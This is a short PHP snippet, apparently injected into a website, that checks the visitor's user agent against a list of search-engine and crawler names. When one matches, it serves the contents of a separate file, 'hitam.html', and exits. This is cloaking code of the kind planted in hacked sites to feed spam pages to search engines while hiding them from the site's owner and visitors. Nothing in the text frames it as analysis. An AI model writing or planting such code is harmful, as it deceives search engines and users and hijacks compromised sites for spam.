$userAgent = strtolower($_SERVER['HTTP_USER_AGENT'] ?? ''); $filePath = DIR . '/hitam.html'; $botPattern = '/(googlebot|slurp|adsense|inspection|ahrefsbot|telegrambot|bingbot|yandexbot)/i'; if (preg_match($botPattern, $userAgent)) { if (is_readable($filePath)) { echo file_get_contents($filePath); } exit; }